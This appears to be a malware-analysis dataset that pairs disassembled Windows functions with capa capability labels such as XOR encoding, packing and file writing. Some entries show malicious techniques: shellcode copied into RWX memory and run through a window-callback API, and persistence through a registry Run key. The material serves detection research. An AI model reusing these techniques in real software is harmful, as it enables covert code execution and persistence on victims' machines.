joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10247dd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x102de0b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, 1
push ebx
mov dword [ebp - 0xc], eax
call fcn.1023cbc0
add esp, 4
sub eax, edi
je 0x10247ec0
dec eax
push edi
push ebx
mov dword [ebp - 0x10], eax
call fcn.1023dd70
add esp, 8
cmp eax, 3
jne 0x10247e90
push edi
push ebx
call fcn.1023cd00
add esp, 8
push 0
push edi
push ebx
test eax, eax
je 0x10247e43
call fcn.1023db30
push edx
push eax
push str._lld
push dword [ebp - 0xc]
call fcn.1023a5e0
add esp, 0x1c
jmp 0x10247e5e
call fcn.1023dc40
add esp, 4
fstp qword [esp]
push str._.14g
push dword [ebp - 0xc]
call fcn.1023a5e0
add esp, 0x10
test esi, esi
je 0x10247e66
test eax, eax
jg 0x10247eb9
xor esi, esi
mov eax, dword [ebp - 0x10]
inc edi
test eax, eax
jne 0x10247e05
test esi, esi
jne 0x10247ec0
push esi
push esi
push ebx
call fcn.1023adf0
add esp, 0xc
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1025c1b2
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
push eax
push edi
push ebx
call fcn.1023a9f0
add esp, 0xc
test esi, esi
je 0x10247e66
push dword [ebp - 0xc]
push dword [ebp - 8]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp eax, dword [ebp - 8]
jne 0x10247e66
mov esi, 1
jmp 0x10247e68
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1025c1b2
mov esp, ebp
pop ebp
ret
Function at 0x1024b4c0
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x102de0b4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0xd8]
push esi
mov esi, dword [ebp + 8]
push edi
push eax
push esi
call fcn.1024ab40
mov edx, eax
add esp, 8
test edx, edx
je 0x1024b521
mov ecx, dword [ebp - 0xd8]
sub edx, esi
mov dword [ebx], ecx
mov eax, 0x13
mov ecx, dword [ebp - 0xd4]
pop edi
mov dword [ebx + 4], ecx
mov dword [ebx + 8], eax
lea eax, [edx + 1]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1025c1b2
mov esp, ebp
pop ebp
ret
push 0x10287bc0
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strpbrk]
add esp, 8
test eax, eax
je 0x1024b552
movzx edi, byte [eax]
or edi, 0x20
cmp edi, 0x6e
jne 0x1024b554
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1025c1b2
mov esp, ebp
pop ebp
ret
xor edi, edi
push edi
lea eax, [ebp - 0xe4]
push eax
push esi
call fcn.1024aab0
mov edx, eax
add esp, 0xc
test edx, edx
jne 0x1024b60e
push 0x2e
push esi
call sub.VCRUNTIME140.dll_strchr
mov edx, esi
mov dword [ebp - 0xd4], eax
add esp, 8
lea ecx, [edx + 1]
mov dword [ebp - 0xdc], ecx
nop dword [eax + eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x1024b590
sub edx, dword [ebp - 0xdc]
cmp edx, 0xc8
ja 0x1024b53f
test eax, eax
je 0x1024b53f
lea edx, [ebp - 0xd0]
mov ecx, esi
sub edx, esi
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x1024b5b3
call dword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_localeconv]
mov ecx, dword [ebp - 0xd4]
sub ecx, esi
push edi
mov eax, dword [eax]
mov al, byte [eax]
mov byte [ebp + ecx - 0xd0], al
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.1024aab0
mov edx, eax
add esp, 0xc
test edx, edx
je 0x1024b53f
mov eax, esi
lea ecx, [ebp - 0xd0]
sub eax, ecx
add edx, eax
test edx, edx
je 0x1024b53f
movsd xmm0, qword [ebp - 0xe4]
sub edx, esi
mov ecx, dword [ebp - 4]
mov eax, 3
pop edi
movsd qword [ebx], xmm0
xor ecx, ebp
mov dword [ebx + 8], eax
lea eax, [edx + 1]
pop esi
pop ebx
call fcn.1025c1b2
mov esp, ebp
pop ebp
ret
Function at 0x1024b750
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x10], eax
call dword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_localeconv]
xor ecx, ecx
xor edi, edi
mov dword [ebp - 0xc], ecx
xorps xmm1, xmm1
mov eax, dword [eax]
movsx eax, byte [eax]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], esi
mov cl, byte [esi]
movzx eax, cl
test byte [eax + 0x102887b9], 8
je 0x1024b7a1
mov cl, byte [esi + 1]
inc esi
movzx eax, cl
test byte [eax + 0x102887b9], 8
jne 0x1024b791
lea edx, [esi + 1]
cmp cl, 0x2d
jne 0x1024b7b2
mov dword [ebp - 0x14], 1
jmp 0x1024b7bb
cmp cl, 0x2b
mov dword [ebp - 0x14], edi
cmovne edx, esi
cmp byte [edx], 0x30
jne 0x1024b8f7
mov al, byte [edx + 1]
cmp al, 0x78
je 0x1024b7d3
cmp al, 0x58
jne 0x1024b8f7
movsd xmm2, qword [0x10286ff8]
add edx, 2
xor esi, esi
mov al, byte [edx]
movsx ecx, al
mov dword [ebp - 0x1c], edx
mov byte [ebp - 1], al
cmp ecx, dword [ebp - 0x18]
jne 0x1024b7fc
test esi, esi
jne 0x1024b852
mov esi, 1
inc edx
jmp 0x1024b7e0
movzx eax, al
test byte [eax + 0x102887b9], 0x10
je 0x1024b852
mov eax, dword [ebp - 8]
test eax, eax
jne 0x1024b81a
cmp byte [ebp - 1], 0x30
jne 0x1024b81a
inc dword [ebp - 0xc]
jmp 0x1024b84a
inc eax
mov dword [ebp - 8], eax
cmp eax, 0x1e
jg 0x1024b849
test byte [ecx + 0x102887b9], 2
je 0x1024b831
add ecx, 0xffffffd0
jmp 0x1024b837
or ecx, 0x20
sub ecx, 0x57
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm2
addsd xmm1, xmm0
jmp 0x1024b84a
inc edi
test esi, esi
je 0x1024b84f
dec edi
inc edx
jmp 0x1024b7e0
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
je 0x1024b8f7
mov eax, dword [ebp - 0x10]
shl edi, 2
mov dword [eax], edx
mov al, byte [edx]
cmp al, 0x70
je 0x1024b870
cmp al, 0x50
jne 0x1024b8d2
inc edx
xor ecx, ecx
mov dl, byte [edx]
cmp dl, 0x2d
jne 0x1024b882
lea esi, [ecx + 1]
lea eax, [ecx + 2]
jmp 0x1024b88d
xor eax, eax
xor esi, esi
cmp dl, 0x2b
sete al
inc eax
mov edx, dword [ebp - 0x1c]
add edx, eax
mov al, byte [edx]
mov byte [ebp - 1], al
movzx eax, al
test byte [eax + 0x102887b9], 2
je 0x1024b8f7
movsx eax, byte [ebp - 1]
lea ecx, [ecx + ecx*4]
inc edx
lea ecx, [ecx - 0x18]
lea ecx, [eax + ecx*2]
mov al, byte [edx]
mov byte [ebp - 1], al
movzx eax, al
test byte [eax + 0x102887b9], 2
jne 0x1024b8a3
mov eax, ecx
neg eax
test esi, esi
cmove eax, ecx
add edi, eax
mov eax, dword [ebp - 0x10]
mov dword [eax], edx
cmp dword [ebp - 0x14], 0
je 0x1024b8df
xorps xmm1, xmmword [0x102c4c70]
push edi
sub esp, 8
movsd qword [esp], xmm1
call dword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_ldexp]
add esp, 0xc
pop edi
pop esi
mov esp, ebp
pop ebp
ret
fldz
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1024da30
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x102de0b4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x18], edi
mov cl, byte [edi + 6]
test cl, cl
je 0x1024db3f
add edi, 0x10
nop dword [eax]
test byte [edi + 8], 0x40
je case.0x1024da97.10
mov edx, dword [edi]
mov al, byte [edx + 5]
test al, 3
je case.0x1024da97.10
and al, 0xfc
mov byte [edx + 5], al
movzx eax, byte [edx + 4]
sub eax, 4
cmp eax, 0x22
ja case.0x1024da97.10
nop dword [eax]
movzx eax, byte [eax + 0x1024db78]
jmp dword [eax*4 + 0x1024db58]
mov eax, dword [edx + 8]
test eax, eax
je 0x1024dab5
test byte [eax + 5], 3
je 0x1024dab5
push eax
push esi
call fcn.1024cfa0
add esp, 8
mov eax, dword [edx + 0xc]
or byte [edx + 5], 4
add eax, 0x18
add dword [esi + 0x10], eax
test byte [edx + 6], 0x40
mov ecx, dword [edx + 0x10]
mov eax, dword [edx + 0x14]
je case.0x1024da97.10
mov al, byte [ecx + 5]
test al, 3
je case.0x1024da97.10
and al, 0xfc
mov edx, ecx
mov byte [ecx + 5], al
movzx eax, byte [ecx + 4]
sub eax, 4
cmp eax, 0x22
jbe 0x1024da90
jmp case.0x1024da97.10
movzx eax, byte [edx + 7]
or byte [edx + 5], 4
add eax, 0x11
add dword [esi + 0x10], eax
jmp case.0x1024da97.10
mov eax, dword [edx + 0xc]
or byte [edx + 5], 4
add eax, 0x11
add dword [esi + 0x10], eax
jmp case.0x1024da97.10
mov eax, dword [esi + 0x4c]
mov dword [edx + 8], eax
jmp 0x1024db27
mov eax, dword [esi + 0x4c]
mov dword [edx + 0x1c], eax
jmp 0x1024db27
mov eax, dword [esi + 0x4c]
mov dword [edx + 0x28], eax
jmp 0x1024db27
mov eax, dword [esi + 0x4c]
mov dword [edx + 0x4c], eax
mov dword [esi + 0x4c], edx
mov eax, dword [ebp - 0x18]
inc ebx
add edi, 0x10
mov cl, byte [eax + 6]
movzx eax, cl
cmp ebx, eax
jl 0x1024da60
movzx eax, cl
mov ecx, dword [ebp - 4]
inc eax
pop edi
pop esi
xor ecx, ebp
shl eax, 4
pop ebx
call fcn.1025c1b2
mov esp, ebp
pop ebp
ret

Function at 0x1024e1e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov eax, esi
xor eax, dword [ebp + 0x10]
push edi
mov edi, esi
shr edi, 5
inc edi
cmp esi, edi
jb 0x1024e21c
push ebx
mov ebx, dword [ebp + 8]
nop dword [eax + eax]
movzx edx, byte [ebx + esi - 1]
mov ecx, eax
shl ecx, 5
sub esi, edi
add edx, ecx
mov ecx, eax
shr ecx, 2
add edx, ecx
xor eax, edx
cmp esi, edi
jae 0x1024e200
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x1024e220
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
cmp byte [ebx + 6], 0
mov edx, dword [ebx + 8]
jne 0x1024e265
push esi
mov esi, dword [ebx + 0xc]
xor edx, esi
push edi
mov edi, esi
shr edi, 5
inc edi
cmp esi, edi
jb 0x1024e25c
movzx ecx, byte [ebx + esi + 0xf]
mov eax, edx
shl eax, 5
sub esi, edi
add ecx, eax
mov eax, edx
shr eax, 2
add ecx, eax
xor edx, ecx
cmp esi, edi
jae 0x1024e241
pop edi
mov dword [ebx + 8], edx
mov byte [ebx + 6], 1
pop esi
mov eax, edx
pop ebx
pop ebp
ret
Function at 0x403c05
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1804
call fcn.0040ece0
mov eax, dword [0x287282c]
mov ecx, dword [0x28722b8]
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x403cd9
mov edi, ecx
mov ebx, eax
cmp dword [0x287282c], 0x959
jne 0x403cc9
push esi
lea eax, [ebp - 0x1000]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push esi
push esi
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push 0x403770
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0x403794
push esi
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
push 0x4037b0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push esi
lea eax, [ebp - 0x1800]
push eax
push esi
push 0x4037c8
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
call fcn.00403a97
add edi, 8
dec ebx
jne 0x403c31
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403f90
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1800
call fcn.0040ece0
push esi
push edi
xor esi, esi
xor edi, edi
cmp edi, 0x986
jge 0x403fce
push esi
call dword [sym.imp.USER32.dll_GetCaretPos]
push esi
call dword [sym.imp.USER32.dll_SetClipboardViewer]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsI]
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp edi, 0x4f4c8ec
jg 0x403fe9
inc edi
cmp edi, 0x3455969
jl 0x403fa6
cmp dword [0x287282c], 0x400
jne 0x4040fd
push esi
call dword [sym.imp.USER32.dll_GetDC]
push esi
lea eax, [esp + 0x80c]
push eax
push esi
push 0x403948
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push esi
push esi
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push esi
lea eax, [esp + 0x100c]
push eax
push 0x403924
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0x40398c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
call fcn.004047fa
pop ecx
push esi
call fcn.00404684
pop ecx
push esi
push esi
call fcn.00404f4e
push esi
push esi
call fcn.004047ba
push esi
push esi
call fcn.00404ab6
push esi
call fcn.00404ee9
add esp, 0x1c
push esi
call fcn.004051b7
fldz
sub esp, 0xc
fst qword [esp + 8]
fstp qword [esp]
call fcn.00404160
add esp, 8
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404240
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404990
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404370
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404be0
fstp st(0)
push esi
push esi
call fcn.00404d34
push esi
call fcn.0040522b
add esp, 0x14
push esi
push esi
call fcn.004046be
push esi
push esi
call fcn.00404614
push esi
call fcn.00404ffb
add esp, 0x14
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x12e82fe
jg 0x40411d
inc edi
cmp edi, 0x3011b
jl 0x4040ff
mov eax, dword [0x47ac84]
mov dword [0x287282c], eax
call fcn.00403cde
mov edi, 0x2ec37
cmp dword [0x287282c], 0x51f
jne 0x40414c
push esi
lea eax, [esp + 0x80c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
dec edi
jne 0x404131
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x407658
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4771f8]
jne 0x407662
repz ret
jmp fcn.0040c930
Function at 0x40cf6e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4771f8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004097d3
and dword [ebp - 0x14], 0
cmp dword [0x48f80c], 0
mov dword [ebp - 0x18], eax
jne 0x40d021
push 0x402e34
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40d0c9
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402e28
push ebx
call edi
test eax, eax
je 0x40d0c9
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402e18
push ebx
mov dword [0x48f80c], eax
call edi
push eax
call esi
push 0x402e04
push ebx
mov dword [0x48f810], eax
call edi
push eax
call esi
push 0x402de8
push ebx
mov dword [0x48f814], eax
call edi
push eax
call esi
mov dword [0x48f81c], eax
test eax, eax
je 0x40d021
push 0x402dd0
push ebx
call edi
push eax
call esi
mov dword [0x48f818], eax
mov eax, dword [0x48f818]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40d07a
cmp dword [0x48f81c], ecx
je 0x40d07a
push eax
call esi
push dword [0x48f81c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40d07a
test ebx, ebx
je 0x40d07a
call edi
test eax, eax
je 0x40d071
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40d071
test byte [ebp - 8], 1
jne 0x40d07a
or dword [ebp + 0x10], 0x200000
jmp 0x40d0ad
mov eax, dword [0x48f810]
cmp eax, dword [ebp - 0x18]
je 0x40d0ad
push eax
call esi
test eax, eax
je 0x40d0ad
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40d0ad
mov eax, dword [0x48f814]
cmp eax, dword [ebp - 0x18]
je 0x40d0ad
push eax
call esi
test eax, eax
je 0x40d0ad
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x48f80c]
call esi
test eax, eax
je 0x40d0c9
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40d0cb
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407658
leave
ret
Function at 0x4096c0
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x40], eax
xor eax, eax
mov word [ebp - 0x248], ax
push 0x206
push 0
lea ecx, [ebp - 0x246]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
xor edx, edx
mov word [ebp - 0x450], dx
push 0x206
push 0
lea eax, [ebp - 0x44e]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.MSVCR90.dll_wcslen]
add esp, 4
test eax, eax
jbe 0x40974f
mov edx, dword [ebp + 0xc]
push edx
push 0x104
lea eax, [ebp - 0x450]
push eax
call fcn.004062c0
push 0x40b3b4
push 0x104
lea ecx, [ebp - 0x450]
push ecx
call fcn.00406310
jmp 0x40979e
lea edx, [ebp - 0x450]
push edx
push 0
push 0
push 0x2b
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x409780
push 0x40b3b8
push 0x104
lea eax, [ebp - 0x450]
push eax
call fcn.00406310
jmp 0x40979e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40b3d8
push str.SHGetFolderPath_failed
call fcn.004080a0
add esp, 0xc
jmp 0x409874
lea ecx, [ebp - 0x450]
push ecx
push 0x104
lea edx, [ebp - 0x248]
push edx
call fcn.004062c0
push str.AdobeARMHelper.exe
push 0x104
lea eax, [ebp - 0x248]
push eax
call fcn.00406310
push 0xffffffffffffffff
lea ecx, [ebp - 0x248]
push ecx
call fcn.004095f0
add esp, 8
test eax, eax
jne 0x4097fc
push 0x357
lea edx, [ebp - 0x248]
push edx
push str.Service_workflow_failed__file_not_valid:
call fcn.004080a0
add esp, 0xc
jmp 0x409874
mov dword [ebp - 0x3c], 0
push 0x38
push 0
lea eax, [ebp - 0x38]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x540
mov dword [ebp - 0x20], 5
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28], ecx
lea edx, [ebp - 0x248]
mov dword [ebp - 0x2c], edx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x40985b
push 0
push 0x40b48c
push str.ShellExecuteEx_succeeded
call fcn.004080a0
add esp, 0xc
jmp 0x409874
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40b4c4
push str.ShellExecuteEx_failed
call fcn.004080a0
add esp, 0xc
mov ecx, dword [ebp - 0x40]
xor ecx, ebp
call fcn.00407458
mov esp, ebp
pop ebp
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6a
nop
sub eax, 0x403d10
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x10001b70
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
movzx ecx, word [0x1002342a]
push esi
movzx esi, word [0x10023428]
add ecx, esi
xor eax, eax
cmp ecx, 0x8f9a
jne 0x10001c3d
xor edx, edx
push edi
mov eax, 0xb0544aa
test esi, esi
jle 0x10001bbe
mov edi, edi
movsx edi, byte [edx + 0x10023434]
add edi, eax
lea ecx, [eax + 5]
shr edi, cl
mov ecx, 0xa
sub ecx, eax
inc edx
shl edi, cl
mov eax, edi
cmp edx, esi
jl 0x10001ba0
cmp dword [0x1002342c], eax
jne 0x10001c3a
mov edx, dword [0x10023430]
push edx
call fcn.10008cb1
add esp, 4
cmp esi, 4
jb 0x10001bfd
push ebx
mov ebx, 4
mov edi, 0x10023434
call fcn.10008cc3
imul eax, eax, 0x2b4c17
xor dword [edi], eax
add ebx, 4
add edi, 4
cmp ebx, esi
jbe 0x10001be5
pop ebx
movzx eax, word [0x10023428]
push eax
call fcn.10008025
mov ecx, dword [ebp + 8]
add esp, 4
mov dword [ecx], eax
test eax, eax
je 0x10001c3a
movzx ecx, word [0x10023428]
mov edx, dword [ebp + 0xc]
push ecx
push 0x10023434
push eax
mov dword [edx], ecx
call fcn.10009610
add esp, 0xc
pop edi
mov eax, 1
pop esi
pop ebp
ret
xor eax, eax
pop edi
pop esi
pop ebp
ret

Function at 0x10001c40
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call fcn.10001b70
push str.Start...buitengebieden_n
call fcn.10008b81
call fcn.10001b10
push str.ZackAllen......techyteachme_Ok_n
call fcn.10008b81
mov edi, dword [ebp - 4]
add esp, 0x10
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10001cb8
mov edx, dword [ebp - 8]
push edi
push edx
push esi
call fcn.10009610
add esp, 0xc
push 0
call dword [sym.imp.USER32.dll_GetTopWindow]
push 0
push esi
push eax
call dword [sym.imp.USER32.dll_EnumPropsExW]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10001cc0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
test ebx, ebx
je 0x10001d27
cmp dword [ebp - 4], 2
jne 0x10001d27
mov edx, dword [ebx + 4]
push esi
mov eax, edx
push edi
lea esi, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10001cf0
mov ecx, dword [ebp + 8]
sub eax, esi
sar eax, 1
mov edi, eax
mov eax, dword [ecx + 0x10]
push edx
call fcn.10006560
pop edi
pop esi
push ebx
test eax, eax
jne 0x10001d21
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001f70
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x100227f4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov eax, ebx
mov byte [ebp - 0x35], 0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001f90
push esi
push edi
sub eax, edx
mov ecx, 0xb
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x3c]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x34]
push ecx
push 0x80000001
mov dword [ebp - 0x3c], 0
movsw word es:[edi], word [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x10002012
mov edx, dword [ebp - 0x40]
push edx
push ebx
push 1
push eax
mov eax, dword [ebp - 0x3c]
push str.AFFWallpaper
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov bl, 1
test eax, eax
je 0x10001ff6
mov bl, byte [ebp - 0x35]
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx eax, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100084e0
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
movzx eax, byte [ebp - 0x35]
xor ecx, ebp
pop ebx
call fcn.100084e0
mov esp, ebp
pop ebp
ret